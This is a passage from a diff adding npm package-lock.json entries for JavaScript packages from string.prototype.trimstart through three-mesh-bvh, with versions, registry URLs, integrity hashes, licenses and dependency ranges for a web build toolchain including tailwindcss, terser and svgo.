25747+ "node_modules/string.prototype.trimstart": {
25748+ "version": "1.0.8",
25749+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
25750+ "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
25751+ "license": "MIT",
25752+ "dependencies": {
25753+ "call-bind": "^1.0.7",
25754+ "define-properties": "^1.2.1",
25755+ "es-object-atoms": "^1.0.0"
25756+ },
25757+ "engines": {
25758+ "node": ">= 0.4"
25759+ },
25760+ "funding": {
25761+ "url": "https://github.com/sponsors/ljharb"
25762+ }
25763+ },
25764+ "node_modules/stringify-object": {
25765+ "version": "3.3.0",
25766+ "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
25767+ "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
25768+ "license": "BSD-2-Clause",
25769+ "dependencies": {
25770+ "get-own-enumerable-property-symbols": "^3.0.0",
25771+ "is-obj": "^1.0.1",
25772+ "is-regexp": "^1.0.0"
25773+ },
25774+ "engines": {
25775+ "node": ">=4"
25776+ }
25777+ },
25778+ "node_modules/strip-ansi": {
25779+ "version": "6.0.1",
25780+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
25781+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
25782+ "license": "MIT",
25783+ "dependencies": {
25784+ "ansi-regex": "^5.0.1"
25785+ },
25786+ "engines": {
25787+ "node": ">=8"
25788+ }
25789+ },
25790+ "node_modules/strip-bom": {
25791+ "version": "4.0.0",
25792+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
25793+ "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
25794+ "license": "MIT",
25795+ "engines": {
25796+ "node": ">=8"
25797+ }
25798+ },
25799+ "node_modules/strip-comments": {
25800+ "version": "2.0.1",
25801+ "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz",
25802+ "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==",
25803+ "license": "MIT",
25804+ "engines": {
25805+ "node": ">=10"
25806+ }
25807+ },
25808+ "node_modules/strip-final-newline": {
25809+ "version": "2.0.0",
25810+ "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
25811+ "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==",
25812+ "license": "MIT",
25813+ "engines": {
25814+ "node": ">=6"
25815+ }
25816+ },
25817+ "node_modules/strip-hex-prefix": {
25818+ "version": "1.0.0",
25819+ "resolved": "https://registry.npmjs.org/strip-hex-prefix/-/strip-hex-prefix-1.0.0.tgz",
25820+ "integrity": "sha512-q8d4ue7JGEiVcypji1bALTos+0pWtyGlivAWyPuTkHzuTCJqrK9sWxYQZUq6Nq3cuyv3bm734IhHvHtGGURU6A==",
25821+ "license": "MIT",
25822+ "dependencies": {
25823+ "is-hex-prefixed": "1.0.0"
25824+ },
25825+ "engines": {
25826+ "node": ">=6.5.0",
25827+ "npm": ">=3"
25828+ }
25829+ },
25830+ "node_modules/strip-indent": {
25831+ "version": "3.0.0",
25832+ "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
25833+ "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
25834+ "license": "MIT",
25835+ "dependencies": {
25836+ "min-indent": "^1.0.0"
25837+ },
25838+ "engines": {
25839+ "node": ">=8"
25840+ }
25841+ },
25842+ "node_modules/strip-json-comments": {
25843+ "version": "3.1.1",
25844+ "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
25845+ "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
25846+ "license": "MIT",
25847+ "engines": {
25848+ "node": ">=8"
25849+ },
25850+ "funding": {
25851+ "url": "https://github.com/sponsors/sindresorhus"
25852+ }
25853+ },
25854+ "node_modules/style-loader": {
25855+ "version": "3.3.4",
25856+ "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.4.tgz",
25857+ "integrity": "sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==",
25858+ "license": "MIT",
25859+ "engines": {
25860+ "node": ">= 12.13.0"
25861+ },
25862+ "funding": {
25863+ "type": "opencollective",
25864+ "url": "https://opencollective.com/webpack"
25865+ },
25866+ "peerDependencies": {
25867+ "webpack": "^5.0.0"
25868+ }
25869+ },
25870+ "node_modules/stylehacks": {
25871+ "version": "5.1.1",
25872+ "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.1.tgz",
25873+ "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==",
25874+ "license": "MIT",
25875+ "dependencies": {
25876+ "browserslist": "^4.21.4",
25877+ "postcss-selector-parser": "^6.0.4"
25878+ },
25879+ "engines": {
25880+ "node": "^10 || ^12 || >=14.0"
25881+ },
25882+ "peerDependencies": {
25883+ "postcss": "^8.2.15"
25884+ }
25885+ },
25886+ "node_modules/sucrase": {
25887+ "version": "3.35.1",
25888+ "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",
25889+ "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==",
25890+ "license": "MIT",
25891+ "dependencies": {
25892+ "@jridgewell/gen-mapping": "^0.3.2",
25893+ "commander": "^4.0.0",
25894+ "lines-and-columns": "^1.1.6",
25895+ "mz": "^2.7.0",
25896+ "pirates": "^4.0.1",
25897+ "tinyglobby": "^0.2.11",
25898+ "ts-interface-checker": "^0.1.9"
25899+ },
25900+ "bin": {
25901+ "sucrase": "bin/sucrase",
25902+ "sucrase-node": "bin/sucrase-node"
25903+ },
25904+ "engines": {
25905+ "node": ">=16 || 14 >=14.17"
25906+ }
25907+ },
25908+ "node_modules/sucrase/node_modules/commander": {
25909+ "version": "4.1.1",
25910+ "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
25911+ "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
25912+ "license": "MIT",
25913+ "engines": {
25914+ "node": ">= 6"
25915+ }
25916+ },
25917+ "node_modules/supports-color": {
25918+ "version": "7.2.0",
25919+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
25920+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
25921+ "license": "MIT",
25922+ "dependencies": {
25923+ "has-flag": "^4.0.0"
25924+ },
25925+ "engines": {
25926+ "node": ">=8"
25927+ }
25928+ },
25929+ "node_modules/supports-hyperlinks": {
25930+ "version": "2.3.0",
25931+ "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz",
25932+ "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==",
25933+ "license": "MIT",
25934+ "dependencies": {
25935+ "has-flag": "^4.0.0",
25936+ "supports-color": "^7.0.0"
25937+ },
25938+ "engines": {
25939+ "node": ">=8"
25940+ }
25941+ },
25942+ "node_modules/supports-preserve-symlinks-flag": {
25943+ "version": "1.0.0",
25944+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
25945+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
25946+ "license": "MIT",
25947+ "engines": {
25948+ "node": ">= 0.4"
25949+ },
25950+ "funding": {
25951+ "url": "https://github.com/sponsors/ljharb"
25952+ }
25953+ },
25954+ "node_modules/suspend-react": {
25955+ "version": "0.1.3",
25956+ "resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",
25957+ "integrity": "sha512-aqldKgX9aZqpoDp3e8/BZ8Dm7x1pJl+qI3ZKxDN0i/IQTWUwBx/ManmlVJ3wowqbno6c2bmiIfs+Um6LbsjJyQ==",
25958+ "license": "MIT",
25959+ "peerDependencies": {
25960+ "react": ">=17.0"
25961+ }
25962+ },
25963+ "node_modules/svg-parser": {
25964+ "version": "2.0.4",
25965+ "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz",
25966+ "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==",
25967+ "license": "MIT"
25968+ },
25969+ "node_modules/svgo": {
25970+ "version": "1.3.2",
25971+ "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
25972+ "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
25973+ "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.",
25974+ "license": "MIT",
25975+ "dependencies": {
25976+ "chalk": "^2.4.1",
25977+ "coa": "^2.0.2",
25978+ "css-select": "^2.0.0",
25979+ "css-select-base-adapter": "^0.1.1",
25980+ "css-tree": "1.0.0-alpha.37",
25981+ "csso": "^4.0.2",
25982+ "js-yaml": "^3.13.1",
25983+ "mkdirp": "~0.5.1",
25984+ "object.values": "^1.1.0",
25985+ "sax": "~1.2.4",
25986+ "stable": "^0.1.8",
25987+ "unquote": "~1.1.1",
25988+ "util.promisify": "~1.0.0"
25989+ },
25990+ "bin": {
25991+ "svgo": "bin/svgo"
25992+ },
25993+ "engines": {
25994+ "node": ">=4.0.0"
25995+ }
25996+ },
25997+ "node_modules/svgo/node_modules/ansi-styles": {
25998+ "version": "3.2.1",
25999+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
26000+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
26001+ "license": "MIT",
26002+ "dependencies": {
26003+ "color-convert": "^1.9.0"
26004+ },
26005+ "engines": {
26006+ "node": ">=4"
26007+ }
26008+ },
26009+ "node_modules/svgo/node_modules/chalk": {
26010+ "version": "2.4.2",
26011+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
26012+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
26013+ "license": "MIT",
26014+ "dependencies": {
26015+ "ansi-styles": "^3.2.1",
26016+ "escape-string-regexp": "^1.0.5",
26017+ "supports-color": "^5.3.0"
26018+ },
26019+ "engines": {
26020+ "node": ">=4"
26021+ }
26022+ },
26023+ "node_modules/svgo/node_modules/color-convert": {
26024+ "version": "1.9.3",
26025+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
26026+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
26027+ "license": "MIT",
26028+ "dependencies": {
26029+ "color-name": "1.1.3"
26030+ }
26031+ },
26032+ "node_modules/svgo/node_modules/color-name": {
26033+ "version": "1.1.3",
26034+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
26035+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
26036+ "license": "MIT"
26037+ },
26038+ "node_modules/svgo/node_modules/css-select": {
26039+ "version": "2.1.0",
26040+ "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
26041+ "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
26042+ "license": "BSD-2-Clause",
26043+ "dependencies": {
26044+ "boolbase": "^1.0.0",
26045+ "css-what": "^3.2.1",
26046+ "domutils": "^1.7.0",
26047+ "nth-check": "^1.0.2"
26048+ }
26049+ },
26050+ "node_modules/svgo/node_modules/css-what": {
26051+ "version": "3.4.2",
26052+ "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz",
26053+ "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==",
26054+ "license": "BSD-2-Clause",
26055+ "engines": {
26056+ "node": ">= 6"
26057+ },
26058+ "funding": {
26059+ "url": "https://github.com/sponsors/fb55"
26060+ }
26061+ },
26062+ "node_modules/svgo/node_modules/dom-serializer": {
26063+ "version": "0.2.2",
26064+ "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
26065+ "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
26066+ "license": "MIT",
26067+ "dependencies": {
26068+ "domelementtype": "^2.0.1",
26069+ "entities": "^2.0.0"
26070+ }
26071+ },
26072+ "node_modules/svgo/node_modules/domutils": {
26073+ "version": "1.7.0",
26074+ "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
26075+ "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
26076+ "license": "BSD-2-Clause",
26077+ "dependencies": {
26078+ "dom-serializer": "0",
26079+ "domelementtype": "1"
26080+ }
26081+ },
26082+ "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": {
26083+ "version": "1.3.1",
26084+ "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
26085+ "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==",
26086+ "license": "BSD-2-Clause"
26087+ },
26088+ "node_modules/svgo/node_modules/escape-string-regexp": {
26089+ "version": "1.0.5",
26090+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
26091+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
26092+ "license": "MIT",
26093+ "engines": {
26094+ "node": ">=0.8.0"
26095+ }
26096+ },
26097+ "node_modules/svgo/node_modules/has-flag": {
26098+ "version": "3.0.0",
26099+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
26100+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
26101+ "license": "MIT",
26102+ "engines": {
26103+ "node": ">=4"
26104+ }
26105+ },
26106+ "node_modules/svgo/node_modules/nth-check": {
26107+ "version": "1.0.2",
26108+ "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
26109+ "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
26110+ "license": "BSD-2-Clause",
26111+ "dependencies": {
26112+ "boolbase": "~1.0.0"
26113+ }
26114+ },
26115+ "node_modules/svgo/node_modules/supports-color": {
26116+ "version": "5.5.0",
26117+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
26118+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
26119+ "license": "MIT",
26120+ "dependencies": {
26121+ "has-flag": "^3.0.0"
26122+ },
26123+ "engines": {
26124+ "node": ">=4"
26125+ }
26126+ },
26127+ "node_modules/symbol-tree": {
26128+ "version": "3.2.4",
26129+ "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
26130+ "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
26131+ "license": "MIT"
26132+ },
26133+ "node_modules/tailwindcss": {
26134+ "version": "3.4.19",
26135+ "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz",
26136+ "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==",
26137+ "license": "MIT",
26138+ "dependencies": {
26139+ "@alloc/quick-lru": "^5.2.0",
26140+ "arg": "^5.0.2",
26141+ "chokidar": "^3.6.0",
26142+ "didyoumean": "^1.2.2",
26143+ "dlv": "^1.1.3",
26144+ "fast-glob": "^3.3.2",
26145+ "glob-parent": "^6.0.2",
26146+ "is-glob": "^4.0.3",
26147+ "jiti": "^1.21.7",
26148+ "lilconfig": "^3.1.3",
26149+ "micromatch": "^4.0.8",
26150+ "normalize-path": "^3.0.0",
26151+ "object-hash": "^3.0.0",
26152+ "picocolors": "^1.1.1",
26153+ "postcss": "^8.4.47",
26154+ "postcss-import": "^15.1.0",
26155+ "postcss-js": "^4.0.1",
26156+ "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0",
26157+ "postcss-nested": "^6.2.0",
26158+ "postcss-selector-parser": "^6.1.2",
26159+ "resolve": "^1.22.8",
26160+ "sucrase": "^3.35.0"
26161+ },
26162+ "bin": {
26163+ "tailwind": "lib/cli.js",
26164+ "tailwindcss": "lib/cli.js"
26165+ },
26166+ "engines": {
26167+ "node": ">=14.0.0"
26168+ }
26169+ },
26170+ "node_modules/tailwindcss/node_modules/lilconfig": {
26171+ "version": "3.1.3",
26172+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
26173+ "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
26174+ "license": "MIT",
26175+ "engines": {
26176+ "node": ">=14"
26177+ },
26178+ "funding": {
26179+ "url": "https://github.com/sponsors/antonk52"
26180+ }
26181+ },
26182+ "node_modules/tailwindcss/node_modules/postcss-load-config": {
26183+ "version": "6.0.1",
26184+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz",
26185+ "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==",
26186+ "funding": [
26187+ {
26188+ "type": "opencollective",
26189+ "url": "https://opencollective.com/postcss/"
26190+ },
26191+ {
26192+ "type": "github",
26193+ "url": "https://github.com/sponsors/ai"
26194+ }
26195+ ],
26196+ "license": "MIT",
26197+ "dependencies": {
26198+ "lilconfig": "^3.1.1"
26199+ },
26200+ "engines": {
26201+ "node": ">= 18"
26202+ },
26203+ "peerDependencies": {
26204+ "jiti": ">=1.21.0",
26205+ "postcss": ">=8.0.9",
26206+ "tsx": "^4.8.1",
26207+ "yaml": "^2.4.2"
26208+ },
26209+ "peerDependenciesMeta": {
26210+ "jiti": {
26211+ "optional": true
26212+ },
26213+ "postcss": {
26214+ "optional": true
26215+ },
26216+ "tsx": {
26217+ "optional": true
26218+ },
26219+ "yaml": {
26220+ "optional": true
26221+ }
26222+ }
26223+ },
26224+ "node_modules/tapable": {
26225+ "version": "2.3.0",
26226+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz",
26227+ "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==",
26228+ "license": "MIT",
26229+ "engines": {
26230+ "node": ">=6"
26231+ },
26232+ "funding": {
26233+ "type": "opencollective",
26234+ "url": "https://opencollective.com/webpack"
26235+ }
26236+ },
26237+ "node_modules/temp-dir": {
26238+ "version": "2.0.0",
26239+ "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
26240+ "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==",
26241+ "license": "MIT",
26242+ "engines": {
26243+ "node": ">=8"
26244+ }
26245+ },
26246+ "node_modules/tempy": {
26247+ "version": "0.6.0",
26248+ "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz",
26249+ "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==",
26250+ "license": "MIT",
26251+ "dependencies": {
26252+ "is-stream": "^2.0.0",
26253+ "temp-dir": "^2.0.0",
26254+ "type-fest": "^0.16.0",
26255+ "unique-string": "^2.0.0"
26256+ },
26257+ "engines": {
26258+ "node": ">=10"
26259+ },
26260+ "funding": {
26261+ "url": "https://github.com/sponsors/sindresorhus"
26262+ }
26263+ },
26264+ "node_modules/tempy/node_modules/type-fest": {
26265+ "version": "0.16.0",
26266+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
26267+ "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==",
26268+ "license": "(MIT OR CC0-1.0)",
26269+ "engines": {
26270+ "node": ">=10"
26271+ },
26272+ "funding": {
26273+ "url": "https://github.com/sponsors/sindresorhus"
26274+ }
26275+ },
26276+ "node_modules/terminal-link": {
26277+ "version": "2.1.1",
26278+ "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz",
26279+ "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==",
26280+ "license": "MIT",
26281+ "dependencies": {
26282+ "ansi-escapes": "^4.2.1",
26283+ "supports-hyperlinks": "^2.0.0"
26284+ },
26285+ "engines": {
26286+ "node": ">=8"
26287+ },
26288+ "funding": {
26289+ "url": "https://github.com/sponsors/sindresorhus"
26290+ }
26291+ },
26292+ "node_modules/terser": {
26293+ "version": "5.44.1",
26294+ "resolved": "https://registry.npmjs.org/terser/-/terser-5.44.1.tgz",
26295+ "integrity": "sha512-t/R3R/n0MSwnnazuPpPNVO60LX0SKL45pyl9YlvxIdkH0Of7D5qM2EVe+yASRIlY5pZ73nclYJfNANGWPwFDZw==",
26296+ "license": "BSD-2-Clause",
26297+ "dependencies": {
26298+ "@jridgewell/source-map": "^0.3.3",
26299+ "acorn": "^8.15.0",
26300+ "commander": "^2.20.0",
26301+ "source-map-support": "~0.5.20"
26302+ },
26303+ "bin": {
26304+ "terser": "bin/terser"
26305+ },
26306+ "engines": {
26307+ "node": ">=10"
26308+ }
26309+ },
26310+ "node_modules/terser-webpack-plugin": {
26311+ "version": "5.3.16",
26312+ "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.16.tgz",
26313+ "integrity": "sha512-h9oBFCWrq78NyWWVcSwZarJkZ01c2AyGrzs1crmHZO3QUg9D61Wu4NPjBy69n7JqylFF5y+CsUZYmYEIZ3mR+Q==",
26314+ "license": "MIT",
26315+ "dependencies": {
26316+ "@jridgewell/trace-mapping": "^0.3.25",
26317+ "jest-worker": "^27.4.5",
26318+ "schema-utils": "^4.3.0",
26319+ "serialize-javascript": "^6.0.2",
26320+ "terser": "^5.31.1"
26321+ },
26322+ "engines": {
26323+ "node": ">= 10.13.0"
26324+ },
26325+ "funding": {
26326+ "type": "opencollective",
26327+ "url": "https://opencollective.com/webpack"
26328+ },
26329+ "peerDependencies": {
26330+ "webpack": "^5.1.0"
26331+ },
26332+ "peerDependenciesMeta": {
26333+ "@swc/core": {
26334+ "optional": true
26335+ },
26336+ "esbuild": {
26337+ "optional": true
26338+ },
26339+ "uglify-js": {
26340+ "optional": true
26341+ }
26342+ }
26343+ },
26344+ "node_modules/terser/node_modules/commander": {
26345+ "version": "2.20.3",
26346+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
26347+ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
26348+ "license": "MIT"
26349+ },
26350+ "node_modules/test-exclude": {
26351+ "version": "6.0.0",
26352+ "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
26353+ "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
26354+ "license": "ISC",
26355+ "dependencies": {
26356+ "@istanbuljs/schema": "^0.1.2",
26357+ "glob": "^7.1.4",
26358+ "minimatch": "^3.0.4"
26359+ },
26360+ "engines": {
26361+ "node": ">=8"
26362+ }
26363+ },
26364+ "node_modules/text-table": {
26365+ "version": "0.2.0",
26366+ "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
26367+ "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
26368+ "license": "MIT"
26369+ },
26370+ "node_modules/thenify": {
26371+ "version": "3.3.1",
26372+ "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
26373+ "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
26374+ "license": "MIT",
26375+ "dependencies": {
26376+ "any-promise": "^1.0.0"
26377+ }
26378+ },
26379+ "node_modules/thenify-all": {
26380+ "version": "1.6.0",
26381+ "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
26382+ "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
26383+ "license": "MIT",
26384+ "dependencies": {
26385+ "thenify": ">= 3.1.0 < 4"
26386+ },
26387+ "engines": {
26388+ "node": ">=0.8"
26389+ }
26390+ },
26391+ "node_modules/three": {
26392+ "version": "0.176.0",
26393+ "resolved": "https://registry.npmjs.org/three/-/three-0.176.0.tgz",
26394+ "integrity": "sha512-PWRKYWQo23ojf9oZSlRGH8K09q7nRSWx6LY/HF/UUrMdYgN9i1e2OwJYHoQjwc6HF/4lvvYLC5YC1X8UJL2ZpA==",
26395+ "license": "MIT"
26396+ },
26397+ "node_modules/three-mesh-bvh": {
26398+ "version": "0.7.8",
26399+ "resolved": "https://registry.npmjs.org/three-mesh-bvh/-/three-mesh-bvh-0.7.8.tgz",
26400+ "integrity": "sha512-BGEZTOIC14U0XIRw3tO4jY7IjP7n7v24nv9JXS1CyeVRWOCkcOMhRnmENUjuV39gktAw4Ofhr0OvIAiTspQrrw==",
26401+ "deprecated": "Deprecated due to three.js version incompatibility. Please use v0.8.0, instead.",
26402+ "license": "MIT",
26403+ "peerDependencies": {
26404+ "three": ">= 0.151.0"
26405+ }
26406+ },
